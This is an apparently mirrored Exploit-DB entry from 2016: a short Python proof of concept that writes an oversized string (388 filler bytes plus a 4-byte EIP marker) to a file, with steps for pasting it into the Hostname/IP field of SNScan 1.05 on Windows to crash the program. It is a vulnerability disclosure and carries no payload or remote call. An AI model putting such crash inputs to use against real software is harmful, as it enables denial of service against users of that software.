SNScan 1.05 – Scan Hostname/IP Field Buffer Overflow Crash (PoC) - 体验盒子

作者： Daniel Velazquez

日期： 2016-01-12

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/39226/

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#!/usr/bin/env python

# -*- coding: utf-8 -*-

# Exploit Title : SNScan v1.05 Scan Hostname/IP Field Buffer Overflow Crash PoC

# Discovery by: Daniel Velazquez

# Email : ingenierovelazquez@hotmail.com

# Discovery Date: 12/01/2016

# Vendor Homepage : http://www.foundstone.com

# Software Link : http://www.mcafee.com/us/downloads/free-tools/snscan.aspx

# Tested Version: 1.05

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: Windows 8 x86 es

# Steps to Produce the Crash:

# 1.- Run python code : python SNScan-v1.05.py

# 2.- Open SNScan-v1.05.txt and copy content to clipboard

# 3.- Open SNScan.exe

# 4.- Clic button Ok

# 5.- Paste Clipboard Scan > Hostname/IP

# 6.- Clic on add button (->)

# 7.- Clic button Aceptar

# 8.- Crashed

buffer = "\x41" * 388

eip = "\x42" * 4

f = open ("SNScan-v1.05.txt", "w")

f.write(buffer + eip)

f.close()